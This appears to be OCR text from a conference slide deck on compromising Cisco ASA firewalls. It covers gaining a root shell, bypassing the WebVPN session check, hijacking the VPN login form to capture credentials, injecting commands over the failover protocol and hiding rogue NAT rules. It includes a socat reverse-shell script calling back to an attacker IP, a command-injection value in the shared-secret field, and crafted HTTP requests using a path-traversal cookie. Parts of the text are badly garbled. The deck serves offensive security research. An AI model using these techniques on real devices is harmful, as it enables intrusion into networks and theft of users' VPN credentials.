BREARING RRICHS
_AND PLUMBING PIPES




— Security hobbist
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== Security landscape is changing

— Moving away from the ‘walled garden’
— SIEM, IPS, DLP are the new black

— Increased focus on detection and response




— Bypass tiered firewalls and anomaly based IPS







Model RAM
Cisco ASA 5550 4GB
Cisco ASA 5540 2GB

Cisco ASA 5520 2GB
' Cisco ASA 5510 1GB
Cisco ASA 5505 512M AMD Geode 500Mhz (32bit)

CPU

Pentium 4 3000MHz (32bit)
Pentium 4 2000 MHz (32bit)
P4 Celeron 2000MHz (32bit)
P4 Celeron 1600 MHz(32bit)




= Supports the latest ASA releases

- = Runs the same firmware image as the higher
- spec 32-bit appliances

it 32-bit exploit dev environment




Model RAM CPU

Cisco ASA 5512-X 4GB “Multicore, enterprise-grade”
Cisco ASA 5515-X 8GB “Multicore, enterprise-grade”
Cisco ASA 5525-X 8GB “Multicore, enterprise-grade”
Cisco ASA 5545-X 12GB “Multicore, enterprise-grade”
Cisco ASA 5555-X  16GB “Multicore, enterprise-grade”
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== 64-bit exploit dev environment




— Persistent storage is diskO: (config/firmware etc)
= ASDM for GUI configuration
— Java based

— HTTP POSTs to exec/config commands
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Cisco ASA Software

- ‘show kernel process’ reveals underlying OS

ciscoasa# show kernel process
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init
kthreadd
ksoftirgd/0
events/0
khelper
kblockd/0
kseriod
pdflush
pdflush
kswapd(
aio/0
nfsiod
hid compat
rpciod/0
udevd
udevd
udevd
lwsmd
lwregd

sh

lina monitor
lina






Software Release Release Date Kernel Version

Cisco ASA 8.4  Jan 2011 Linux 2.6.29.6
Cisco ASA 9.0  Oct 2012 Linux 2.6.29.6
Cisco ASA 9.1 Dec 2012 Linux 2.6.29.6
Cisco ASA 9.2 April 2014 Linux 2.6.29.6
: Cisco ASA 9.3 July 2014 Linux 2.6.29.6




LZMA compressed data, properties: 0x64, dictionary size: 2
144510 0x2347E gzip compressed data, maximum compression, from Unix, last
1501312 0x16E880 gzip compressed data, has original file name: "rootfs.img"

= Basic Linux environment with busybox

it [asa contains the Cisco files

& We want to see this filesystem in a running environmen




“TBIOST
“ROMMON

Firmware image BootLoader
verification S ——
" Kernel

ni

7asa7scr|pfs7 rcS
7asa75|n7||na_mon|Eor

/asa/bin/lina |

l execv(“/asa/bin/lina”)

N




= fmnt/disk0/ = diskO: (Cisco dng
it Create a “trojan” disk0:/lib/libc.s0.6
— Hijack libc-2.9.s0 @ execv()

—Launch shell instead of lina




“BIOST
“ROMMON

Firmware Image Eootfoaaer

verification T Grub
" Kernel

ni

7asa7scr|pfs7 rcS
7asa75|n7||na_monlfor

Launch a shell
via
hijacked execv()




=z Load 842-k8.bin, drop to shell
 Replace /asa (842) with /asa (915)
it Start /asa/bin/lina (v 9.1.5) in a controlled

environment




“ Jail break” to Shell

== Start lina with gdb attached!

£ COMT - PuTTY

# ./lina monitor -h

lina [-h]

-a : Number of Lina instances to run

-1 : Start Lina in pthread mode (not process)
-m : SM or AM (*SM Default for 7.3%)

-g : start ASA in gdb via serial device'

-n : gdb ethernet device, eg, 'ethO'

-s : gdb serial device '/dev/ttySx'

-d : generate debug messages

-c : control C will exit.

-h : help

#

# ./lina monitor -g -d -s /dev/ttySO

SMFW PID: 814, SMFW started in mode 0

SMFW PID: 816, Starting /asa/bin/lina under gdbserver /dev/ttySO
SMFW PID: 814, started gdbserver on member: 816//asa/bin/lina
SMEFW PID: 814, created member ASA BLOB, PID=816

Process /asa/bin/lina created; pid = 819

Processor memory 3460300800, Reserved memory: 41943040

Remote debugging using /dev/ttyS0

ot
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Firmware Image Eootfoaaer

verification ———
Kernel

ni

TS
TS89

/asa/scripts/rcS
Hijack execv() /asa/bin/lina_monitor
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policy-agent “
== Analysis of pa_setup.sh shows insecure use of CLI data as

shell parameters

i We can run OS level commands from restricted CLI mode




i COMT - PuTTY

ciscoasa# more disk0:/console-shell.sh

#!/bin/sh _
getty ttySO0 9600 vtl1l00 -n -1 /bin/sh

ciscoasa#f conf t

ciscoasa(config)# vnmc policy-agent

ciscoasa (config-vnmc-policy-agent)# shared-secret &/mnt d13k0 console-shell.sh&
ciscoasa (config-vnmc-policy-agent)# registration host .6.

/bin/sh: can't access tty; job control turned off
# id

uid=0 (root) gid=0 (root)

#

== Surround shared-secret in ‘&’ to launch our shell
script!

== Valid config, “shared-secret” script will execute at boot




— ptrace support!
— No native networking

it fasa/bin/lina is the firewall process

l




COMT - PuTTY

# 1fconfig -a -
dommy 0 Link encap:Ethernet HWaddr 3E:01:D7:A9:23:83

BROADCAST HOARP MTO:1500 Metric:1

BRY packet=:0 error=:0 dropped:0 overrun=:0 frame:0

TH packet=:0 errors:0 dropped:0 overrun=:0 carrier:0

collisions:0 txguonenelen:O

BY byte=:0 (0.0 B) TX byte=s:0 (D.0 B)

1o Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.255.255.255
TP LOOPBACK RUNNING MTU:16436 Metric:1
BY packet=:2 errors:0 dropped:0 overrun=:0 frames:0
TH packet=:2 errors:0 dropped:0 overrun=:0 carrier:0
colli=ion=s:0 txgoenselen:O
BY byte=:100 (100.0 B) T byte=:100 (100.0 B)

tapd Link encap:Ethernet HWaddr 3A:DD:04:Bl1:E2:D7
inet addr:127.0.2.2 Becast:127.255.255.255 Ma=sk:255.0.0.0
TP BROADCAST RUNNING MUOLTICAST MTO:1500 Metric:1
BX packets:0 error=s:0 dropped:0 overruns:0 frame:0
TH packet=:0 error=s:0 dropped: 2307 overrun=:0 carrier:0
collision=:0 txgqoenelen:500
BY byte=:0 (0.0 B) TX byte=s:0 (D.0 B)




— Some scripts need network access (/asa/scripts/)
— References to LD_PRELOAD=libdsocks.so




ciscoasa(confiqg) #service internal

WARNING: Advanced settings and commands should only be altered or used
under Clsco Supervision.

ciscoasa (confiq) #loopback-proxy server

ciscoasa(config)#

i We now have network access from shell!




root@kali:~# cat revsocat.sh
#!/bin/sh
REV_CONNECT TP=10.6.6.6

REV CONNECT PORT=4444
SOCKS="env LD PRELOAD=1ibdsocks.so SOCKS AUTOADD LANROUTES=no"

SSOCKS /mnt/dlskU/SDcat tep: $REV'CONNECT IP: $REV CONNECT _PORT
exec:/bin/sh,pty,ctty, stderrs&







@ root@kali: ~ E”E”‘E

2P Cisco ASA ©21) ===

m




Software Release Shell Method Reboot

Cisco ASA 8.4.3-9.1 Use 8.4.2 asloader Yes
Cisco ASA 9.2 vhmc policy-agent No

Cisco ASA 9.3 vhmc policy-agent No
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“Jail break”
Local shell access Obtain SSL VPN User
Rccess
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Remote Unauthenticated Vulns

CVE-2012-0356
CVE-2012-0355
CVE-2012-0354
CVE-2012-0353
CVE-2012-0358

CVE-2011-3304
CVE-2011-3303
CVE-2011-3302
CVE-2011-3301
CVE-2011-3298

(DoS/Overflow/Bypass)

CVE-2012-4659
CVE-2012-4643
CVE-2012-4663
CVE-2012-4662
CVE-2012-4661
CVE-2012-4660

CVE-2013-1138

CVE-2013-1152
CVE-2013-1151
CVE-2013-1150
CVE-2013-1149
CVE-2013-1193
CVE-2013-1199
CVE-2013-1195

CVE-2011-0379

|
CVE-2011-4006

CVE-2012-0378

CVE-2012-5419
CVE-2012-6395

CVE-2012-5717
|

CVE-2013-5551
CVE-2013-5542
CVE-2013-5544
CVE-2013-5515
CVE-2013-5513
CVE-2013-5512
CVE-2013-5511
CVE-2013-5510
CVE-2013-5509
CVE-2013-5508
CVE-2013-5507
CVE-2013-3415

CVE-2014-2129
CVE-2014-2128
CVE-2014-2154
CVE-2014-2182

CVE-2013-6696
CVE-2013-6707

CVE-2014-3264

CVE-2010-4689
CVE-2010-4680

CVE-2012-2474
CVE-2012-2472

CVE-2013-3458

CVE-2014-0739
CVE-2014-0738

CVE-2013-5567

CVE-2013-6682

CVE-2013-6691

CVE-2012-3058 CVE-2013-3463 CVE-2013-5568

CVE-2013-5560

CVE-2010-4678
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Memory Corruption in Protocol Inspection

CVE-2012-0356 CVE-2012-4659 CVE-2013-5551
CVE-2012-0355 CVE-2012-4643 C(‘:’VEEig}:lllﬁz CVE-2013-5542
CVE-2012-0354 CVE-2012-4663  (\p 0131150  CVE-2013-5544
CVE-2012-0353 CVE-2012-4662 (yE-2013-1149 CVE-2013-5515 CVE-2014-2129
CVE-2012-0358 CVE-2012-4661 CVE-2013-1193 CVE-2013-5513 CVE-2014-2128
CVE-2012-4660  CVE-2013-1199 CVE-2013-5512 CVE-2014-2154
CVE-2013-1195  CVE-2013-5511 CVE-2014-2182

CVE-2013-5510
CVE-2013-5509

CVE-2011-3304

CVE-2011-3303 CVE-2013-6696
CVE-2011-3302 CVE-2013-5508 .\ 54136707
CVE-2011-3301 CVE-2013-1138 cé’\fgzzgg':fl?
) _ : ) N CVE-2014-3264
CVE-2011-3298 CVE-2012-5419
CVE-2011-4006 CVE-2012-6395
CVE-2011-0379 CVE-2012-0378 CVE-2012-5717
CVE-2012-2474 CVE-2014-0739
CVE-2012-2472 CVE-2013-3458 CVE-2014-0738
CVE-2010-4689 | | ' ' CVE-2013-5567
CVE-2013-6682
CVE-2010-4680 CVE-2013-6691
CVE-2010-4678 CVE-2012-3058 CVE-2013-3463 CVE-2013-5568
CVE-2013-5560
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RADIUS Inspection -CVE-2014-3264

SIP Inspection - CVE-2012-4660

SCCP Inspection - CVE-2010-0151

UDP Inspection - CVE-2012-0353 (DNS/SIP/SNMP/GTP/MCGP/XDMCP)
SQL*Net Inspection - CVE-2013-5508

i Most memory corruption vulnerabilities are classified as DoS




— Michael Lynn BlackHat 2005
== Expect more research in this space




Memory Corruption in Protocol Inspection

CVE-2012-4659
CVE-2012-4643

CVE-2012-4663
CVE-2012-4662

CVE-2012-4661

CVE-2012-46060
Cisco Firewall Services Module and Cisco ASA 5500
Series Adaptive Security Appliance DCERPC
Inspection Buffer Overflow Vulnerability

“An unauthenticated, remote attacker could exploit
this vulnerability to cause a stack overflow condition
which could be leveraged to execute arbitrary
commands or cause an affected device to reload,
resulting in a DoS condition.”

Cisco Vulnerability Alert 27107
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Instance RPC Messages
=L Fuzz the protocol parameters




1S stetivato-r‘;IND

ISystemActivator : BIND-ACK

RemoteCreateInstaﬁce : REQUEST

RemoteCreesanEe : RESPONSE




+ StriﬂgE%ﬂdiﬂg[l]:
# StringBinding[2]:
 stringBinding[3]:

# stringBinding[4]:
# stringeinding[5]:
# StringBinding[6]:

88888888888}

(0x000F,
(0x000F,
(0x000F,
(0x000F,
(0x000F,

Tower Id=Unknown
Tower Id=unknown
Tower Id=Unknown
Tower Id=Unknown
Tower Id=Unknown

Networkaddr=
Networkaddr
Networkaddr
Networkaddr
Networkaddr=

Tower Id=NCACN_IP_TCP, Networkaddr="asaa[ .
stringBinding[7]: TowerId=NCACN_IF_TCP, NetworkaAddr="99.99. 99,

P Cisco ASA B4.2 (DCERPC Overflow)

IPage fault:

| vector
I edi
I esi
| e

ebx
edx
ecx
eax

error code
eip
cs

Address not mapped

0x0000000e
0x30303030
0x30303030
0x30303030
0xd42e94f8
0x30303030
0xd42c5838
0x00000038
0x00000000
0x00000004
0x30303030
0x00000073




0 (0vAN_0vAC . Ny
U U J)=U : .

= Partial overwrite / ROP opportunity?

Our princess is in another castle!
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CVE-2014-2128
CVE-2014-2127
CVE-2014-2126

CVE-2013-5511 CVE-2014-2120 CVE-2014-2151

CVE-2013-5510
CVE-2013-5509

CVE-2013-3414

CVE-2012-0335
CVE-2011-3285

- CVE-2010-4680

——
Jul 13




— ASDM services (launch ASDM/ handles ASDM
GUI config via POST/GET)

i Assume no access to ASDM services!




/ SSLVP
€

N Service x\Ciscn ASDM 7.2(1)

https://interface.outside-internet.net/+ CSCOE+ /logon.htm

SSL VPN Service

Login

Please enter your username and password.

GROUP: MY_RA «

Login




/https:!ﬂﬂ.ﬁ.ﬁ....OE+!portaI.htmI X\Ciscn ASDM 7.2(1) x +

€ | P @ htps//1066.1/+CSCOE+/portal.html

SSL VPN Service

Q' hitp:l - Browse Logout

';b | Home - | web Applications Web Applications Requirements and Recommendations

Cookies and JavaScript must be enabled on your browser.
?.) Web Applications

Your VPN session provides access only to the corporate resources that your
administrator has previously configured for yvour use.

';J.‘—IE ‘ Browse Networks

We recommend that you add the security appliance to the list of trusted sites, as
follows:

?) Telnet/55H Servers
@ Terminal Servers

1. Choose Internet Options. To do so, use either of the following methods:
O Choose Start = (Settings =) Control Panel = Internet Options.
O QOpen Internet Explorer and choose Tools > Internet Options.
2. Click the Security tab.
. Click the Trusted sites icon, then click the Sites button below.
4. Using the https:/f prefix, type the host name or IP address of the security
appliance in Trusted Sites window. To maximize connectivity, use a wildcard
such as https://*.yourcompany.com

[4%)

E l MetaFrame Access

5. Click Add.
6. Click OK.
7. Click OK on the Security tab.

To Access a Web Application

Use one of the following methods to access a web application:

® Click a link on the Home or Web Applications page.
® Enter the URL in the Address field in the page, select https:// or http://, and
click Browse.




/https:!ﬂﬂ.ﬁ.ﬁ....OE+!portaI.htmI X\Ciscn ASDM 7.2(1) x +

€ | P @ htps//1066.1/+CSCOE+/portal.html

SSL VPN Service

il sshill - Browse Logout

';b | Home - | Telnet/SSH Servers Telnet/S5H Servers Help

The Telnet/S5H Servers client provides any Sun Java 1.4+ equipped browser with
access to corporate terminal servers.

Q Web Applications
MOTE: Telnet/SSH Client supports only 5SH Version 1.0.

How to Connect

';J.‘—IE ‘ Browse Networks

m

To start a Telnet or SSH session:

?) Telnet/5SH Servers
@ Terminal Servers

1. Do one of the following:

© Click a link to the computer on this page to connect to the computer
{assuming your system administrator added the link).

C Choose the ssh:// or telnet:// option next to the Address field, enter
the name of the host into the Address text box along with any optional
parameters you want, then click Browse. See Completing the Address -
Field for parameter options.

MetaFrame Access

A session window opens.
2. Click into the session window before you start typing.
Completing the Address Field

The format of the text to enter into the address field to establish a Telnet or SSH
session is:

server:port/?parameters

server is the only required attribute. Enter the name of the computer to which you
want to establish the session. You can ask someone with physical access to the
computer to go to the Start > (Settings =) Control Panel > Performance and
Maintenance = System > Computer Name tab and read the value of "Full computer
name” to you. The name is case-insensitive.

port is the virtual address within the remote computer hosting the service to which
you want to connect. Entering the port number is optional. The default value is
well-known port: 23 for Telnet, or 22 for SSH.

parameters is an optional query string consisting of parameter-value pairs. Type a -




=z “strings lina” reveals 86 Lua scripts
— Plenty of complied Lua also..

iz Code review of server side Lua shows us
some interesting bugs...




function CheckAsdmSession(cookie, no_redirect)

Some code here...

local f=io.open('asdm/'..cookie, "r")
if £ ~= nil then

f:close()

return true;
end



— Used to edit look and feel of WebVPN portal




Edit Customization Object

~General

él--Logon Page
~Language

--Logan Farm
-Logon Form Fields Order
- Informational Panel
-Copyright Panel
[=-Portal Page

-Title Panel

- Toolbar

- Applications
~-Custom Panes
-Home Page

- Timeout Alerts

- ogout Page
-External Portal Page

Display title panel

Logo Image: J+CSCOU+/bowser-inc-small. png

Style
Font Weight: Marmal

Font Size: | 140% =

sedround cobor: [ -

Use gradient

Style (CS5):

* Style(CS5) will take precedence over the user-selected style induding the default style.

@ next @ Previous

[ Preview ”




/SSL VPN Service

X\C’lsco ASDM 7.2(1)

SSL VPN Service

Login

Please enter your username and password.

GROUP: MY_RA ~

Login




Bowser Inc. S5L VPN Service x

I (- https:[!interface.ou‘tside—intemet.neti.‘+CSCOE+[Iogon.htmI ')| f} B & ¥+ @ | =

Bowser Inc. SSL VPN Service

)
Login




Edit Customization Object

~General

él--Logon Page
~Language

--Logan Farm
-Logon Form Fields Order
- Informational Panel
-Copyright Panel
[=-Portal Page

-Title Panel

- Toolbar

- Applications
~-Custom Panes
-Home Page

- Timeout Alerts

- ogout Page
-External Portal Page

Display title panel

Bowser Inc. S5L VPN Service

Logo Image: J+CSCOU+/bowser-inc-small. png

Style
Font Weight: Marmal

Font Size: | 140% =

sedround cobor: [ -

Use gradient

Style (CS5):

* Style(CS5) will take precedence over the user-selected style induding the default style.

@ next @ Previous

[ Preview II OK H Cancel ”




OneTimeRandomCedValue

https://interface.mgmt.net/+CSCOE+/cedlogon.html




gk

— https://interface.internet.net/+CSCOE+/cedlogon.html
gk

— ced=../../locale/ru/LC_MESSAGES/webvpn.mo

vpn.mo~,1) always returns true
=t Session check is bypassed..
Iz We can request a “preview” of our own content

‘!i So what?




content!

= We can use ‘ced’ bypass to “customize” the
WebVPN !

"~ via the internet facing web service!




— Clients expect .exe to be served (updates for SSL
AnyConnect client)

= Hijack the login form!







POST /+CSCOE+/cedf.html HTTP/1.1

User-Agent: Java/1.7.0_67

Host: 172.16.16.221

Accept: text/html, image/gif, image/jpeg, *; q=.2, =/*; g=.2
Connection: keep-alive

Content-type: application/e-www-form-urlencoded
Content-Length: 5852

Cookie: ced=../..[locale/ru/LC MESSAGES/webvpn.mo;

a=preview&obj=DfltCustomization&f=title&preview=poral&application*®2F1%2Fid=home&application®2Fl%2Ftab-title=Home&application%2F1%2Forder=1&application®2F 1%
2Fmode=enable&application®%2F2%2Fid=web-access&application®2F2%2Ftab-title=Web+Applicaticns&application®%2F2%2Forder=2&applicationte2F 2% 2Fmode=enable&application®2F3% 2Fid=file-
access&application®e2F3%2Ftab-title=Browse+MNetworks&application®2F3%2Forder=3&application®%2F3%2Fmode=enable&application®%2F4%2Fid=net-access&application® 2F4%2Ftab-
title=AnyConnectBapplication®%2F4% 2Forder=4&application%2F4%2Fmode=enable&application%2F 5% 2Fid=app-access&application% 2F 5% 2Ftab-title=Application+Access&application% 2F 5% 2Forder=
S&application®2F5%2Fmode=enable&application%2F6%2Fid=ssh%2Ctelnet&application%2F6%2Ftab-title=55H%2FTelnet&application% 2F6% 2Forder=6&application % 2F6%
2Fmode=enablefapplication%2F7%2Fid=icaapplication¥%2F7%2Ftab-title=MetaFrame+Access&application%2F 7% 2Forder=7&application%2F 7% 2Fmode=enablefapplication® 2F8%
2Fid=post&application¥2FER2Ftab-title=Plugin+to+post+with+preloaded+page&application%2FB%2Forder=BRapplication®2F8% 2Fmode=enablefapplication%2F¥% 2Fid=rdp&application*% 2F59%
2Ftab-title=Terminal+Services%2BRDP%29&application®2F3%2Forder=0&application%2F¥%2Fmode=enable&application®2F10% 2Fid=rdp2&application®2F10% 2Ftab-title=Terminal+Services%
2BFor+Vista%k2o&application%2F10%2Forder=10&application®%2F10%2Fmode=enable&application®%2F11%2Fid=vnci&application®2F11%2Frab-title=VNCE&application%2Fll%2Forder=11&application
2Fl1%2Fmode=enable&auth-paget2Fform-orderi2Fusername=200&auth-page® 2Fform-orderk2Fsecondary-password=6008auth-page¥2Fform-orderf2Fsecondany-username=500&auth-page’
2Fform-order®2Finternal-password=400Eauth-page¥®%2Fform-order®% 2Fgroup=1008auth-page* 2Fform-orderf%2Fpassword=3008&column®%2Fl1%2Forder=1&column2F 1% 2Fwidth=100&auth-page%

2Fwindow%2Ftitle-text=Bowser+Inc.+SSL+VPN+SericeBauth-page%2Ftitle-panel®2Fmode=enables@Uth-page % 2Ftitle-panel % 2Ftext=Bowser+inc.+SSL+VPN+Service%
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> GET f+CSCOE+/cedsave.html?
obj=DfltCustomization&preview=logon&f=logon&pf=logon&ced=../../locale/ru/LC_MESSAGES/webvpn.mo HTTP/1.1

> User-Agent: ASDM/ Java/1.7.0_55

» Host: sslgw.bowser.inc

» Accept: #/*

» Cookie: ced=./.flocale/rufLC_MESSAGES/webvpn.mo
>

< HTTP/1.1 200 OK

«< Content-Type: text fhtml; charset=utf-8
« Transfer-Encoding: chunked

< Cache-Control: no-cache

< Pragma: no-cache

< Connection: Keep-Alive

< Date: Tue, 19 Aug 2014 05:23:59 GMT
< ¥-Frame-Options: SAMEORIGIN

<

<head>

<title>Edit Customization Profile<ftitle>

<link href="f+CSCOE+/portal.css” rel="stylesheet" type="textfcss">
<fhead>

<hr=
<hr=
<centers

<b>Saving customization profile ...</b><br>

<fcenter>
<script=setTimeout(" document.location.replace(' f+CSCOE+/ced.hitml?preview=logon&obj=Dflt Customization&f=logon'),1000" }</script>

</html]
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Bowser Inc. SSL VPN Service

@ Login

Please enter your username and password.

rce oft https://sslgw.bowser.inc/+CSCOE+/logon.html - Mozilla Firefox EIE
dit View Help

ser Inc. SSL VEN Service</title></form><form id="unicorn form" method="POST" onsubmit="disableButton()" action="https://10.6.6.6/webvpn/index.html" onsubmit=":
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61, Col 6
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7 Customization is reboot/u

Request “Preview Save” — Save Cotents

Catch creds on HTTPS listener service

~ Form submit sends us clear-text username/password combos.

" Javascript injection in portal sends session cookie.

rade persistent (flash stored
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wser Inc. SSL VPN Service

Login

e enter your username and password.
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) Device Compromise

“Jail break”
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Privilege Escalation




—i.e"9.2(1) VPN Server internal error."

= Write an nmap nse script!




g? root@kali: ~




= Maybe we can attack this?




WebVPN)
5t Active / Standby

— Supported by WebVPN













— VPN Session sync
— Dynamic route table sync
— WebVPN configuration (Customizations)

— Config / command replication




_— o ) o

replication
=L IP Protocol 9

— WebVPN session and content sync, also syncs
ASDM sessions




Proto 9, IP Proto 8 dropped

= Standby firewall will accept packets from any
source!
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# This packet configures
“hostname MyCiscoASA” on the standby ASA




ciscoasafffailover exec ?
active Execute command on the active unit

mate Execute command on the peer unit
standby Execute command on the standby unit

EEEg. failover exec standby show version

= Commands run as user enable_15 (root)
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i No authentication!

=z Cisco default “no logging standby”
~ — SNMP/Syslog is disabled by default on Standby




— We will create a user on the Standby firewa
order to send exec commands to the Active
firewall!

— Login to standby and execute command on

active!




P Cisco ASA 0.2 (STANDEY)

@ root@kali: ~ E”El@




[

04

[ ]
[
[ ]
[

Il = ]
= B2

T

[

[ T e]
o

. .BEm)IEa

= Lh

o= [T RS
i VU

-1

L

[T W Y Y )

[T ]

i ]
S Y Y
[}
=1 [} k3
]

Mk

=1 L

[
LN
[

1]

W]

Ll
TR 4 R E = e I I Vs

b W Y
[

Ln
s
]

[
N

[ T T w BT N Y O (% O B i

[ I S N
=1 ) W o o ks B

W]

LJAE. o . Fa
1£E, J:M, w010

|
=]
=

o

I
[ay}
L

5
(Wi}

5

[ S I 3 I I I T
[

B3 CY
=1 b

[ T L%

0 0

=1 03

[ I L]
W]
o -] L |t
= = I

IR
(Wi

T3]
a0
I ')

R K

41

L

[T

[

o e
oL
|

il
Lo
s
L
1 -

tn
s CO LY €N
[ay}

3

(RIS COY O YV I T T I O
[ .

i
[ T

M tn

)]
Lo

F
&
3
3
7
9
7 1
3 AB BC 5
C
B
=
F
&

WU OO (% e Y T e N 3 IO O 0 O T O =]

[T T T O TV
30

E ) B
=R I

BaLa [T

i
L
[ay}
!
o

L

LT o T O = s O = I P

[
w

5]

I
P

1 m owom

[ T T T Y O i Y O = s T R o I e ARSI 5 O P

[ay}
ﬂ:‘mﬂ:‘rﬂml:_l[ﬂ&f}l_jmrﬂ'ﬂ

[ T E I (5 T % T N T Y 3 N s O I Vs

Raogn [Hotn B
[ T NS T} :]." =] = [=
)]
=+ M b M otnotnofo 3o

no=J

[

Lo et et

L k)

eI |

o =«

{9 B T L I

[ I s VR S T S
]

0y

[

oy =1 [0

W ]

oo«

Ln




Failover
—failover ipsec preshared-key

== Starts an IPsec VPN between ASAs, all the
sync/exec packets are encrypted..

= A logic flaw exists..

== The Standby will accept unencrypted packets
as successfully decrypted packets!

it Cisco recommended setting “failover IPSec”
offers no security against command injection
attack!






Devu:e Compromise

“Jail break” &
Local shell access Obtain SSL VPN User . : Pwn the Network

Privilege Escalation with

Access

[ . [T L
IR

Hidden Config




— SIEM/IPS/Flow analytics etc







Remote Shell and Hidden Config

- Stolen firewall config shows us the access-lists

== Access-lists describe trust relationships and
expected traffic flows

P root@kai - &
root@kali:~# grep access-list /srv/tftp/BowserASA.cfqg

access-1list WEB DMZ-INTERNAL extended permit tcp object BOWSER DMZ WEBSERVER 10.55.55.55 object BOWSER INT DMZ DATABASE 10.11.11.11 eq
1433

access-1ist OUTSIDE-DMZ extended permit tcp any object BOWSER DMZ WEBSERVER 10.55.55.55 eq https

access-1ist OUTSIDE-DMZ extended permit tcp any object BOWSER DMZ WEBSERVER 10.55.55.55 eq www

access-1list OUTSIDE-DMZ extended permit tcp any object BOWSER DMZ MAIL SERVER 10.55.77.77 eq smtp

access-1ist OUTSIDE-DMZ extended permit tcp any object BOWSER DMZ MAIL SERVER 10.55.77.77 eq https

access-1ist OUTSIDE-DMZ extended permit tcp any object BOWSER DMZ MAIL SERVER 10.55.77.77 eq pop3

access-1list OUTSIDE-DMZ extended permit tcp any object BOWSER DMZ MAIL SERVER 10.55.77.77 eq imap4

access-1ist MATL DMZ-INTERNAL extended permit tcp object BOWSER DMZ MAIL SERVER 10.55.77.77 object BOWSER AD SERVER 10.0.0.10 eq ldap |
access-list MAIL_DMZ INTERNAL extended permit tcp object BOWSER;DMZ_MAIL_SERVER;l0 55.77.77 object BOWSER;AD_SERVER;lo 0.0.10 eq 3268
access-1ist MATL DMZ-INTERNAL extended permit tcp object BOWSER DMZ MATL SERVER 10.55.77.77 object BOWSER AD SERVER 10.0.0.10 eq 88
access-list MAIL DMZ-INTERNAL extended permit tcp object BOWSER DMZ MAIL SERVER 10.55.77.77 object BOWSER AD SERVER 10.0.0.10 eq 135
access-1ist MAIL DMZ-INTERNAL extended permit tcp object BOWSER DMZ MAIL SERVER 10.55.77.77 object BOWSER AD SERVER 10.0.0.10 range 600
0 7000

C TIT T00 IO T 0T 00T TIT



*1 >
SOURCE DESTINATION SERVICE ACTION
ANY

DMZ_WEB_SERVER HTTP PERMIT
HTTPS

DMZ_WEB_SERVER INT_DMZ_DATABASE SQL_PORTS PERMIT
ANY DMZ_MAIL_SERVER MAIL_SERVICES PERMIT

DMZ_MAIL_SERVER  ACTIVE_DIRECTORY AD_PORTS PERMIT




SOURCE DESTINATION SERVICE ACTION

DMZ_WEB_SERVER PERMIT
HTTPS

DMZ_WEB_SERVER  INT_DMZ_DATABASE [SQL_PORTS] PERMIT
10.55.55.55 10.11.11.11 TCP-1433

ANY DMZ_MAIL_SERVER MAIL_SERVICES  PERMIT

DMZ_MAIL_SERVER ACTIVE_DIRECTORY AD_PORTS PERMIT




*1 >
,‘ SOURCE DESTINATION SERVICE ACTION

DMZ_MAIL_SERVERS ACTIVE_DIRECTORY [AD_PORTS]  PERMIT
10.55.77.77 10.0.0.10 TCP-389
TCP-3268
TCP-88
TCP-135
TCP-6000-7000




hosts

== We could create a NAT entry for each rule in
the firewall




A Do
SOURCE | | DESTINATION | SERVICE | ACTION

VPN_IP DMZ_WEB_SERVER INT_DMZ_DATABASE SQL_PORTS PERMIT
192.168.100.1 10.55.55.55 10.11.11.11




|
SOURCE | . ' |  DESTINATION SERVICE | ACTION

VPN_IP DMZ_MAIL_SERVER ACTIVE_DIRECTORY AD_PORTS PERMIT
192.168.100.1 10.55.77.77 10.0.0.10







C:\tmp>python BowserLogServer.py

root@kali:/srv/tftp#




Remote Shell and Hidden Config

-~ Rogue NAT statements are easily detected
- We need to hide our config changes!

== “wnmc config” jail break to launch a reverse
shell to Linux

=z Ptrace Lina to manipulate the firewall process
- MEMOry

=2 We can change any function of the firewall r
& We can hide our NAT statements!

,



(PR S par syafirn <eereparipe

SOURCE | . ' -~ |  DESTINATION SERVICE | ACTION
PERMIT

VPN_IP DMZ_MAIL_SERVER ACTIVE_DIRECTORY 6666
192.168.100.1 10.55.77.77 10.0.0.10




C:\tmp>python BowserLogServer.py

ciscoasa#

P root@kali: REVERSE SHELL WINDC
root@kali:~#
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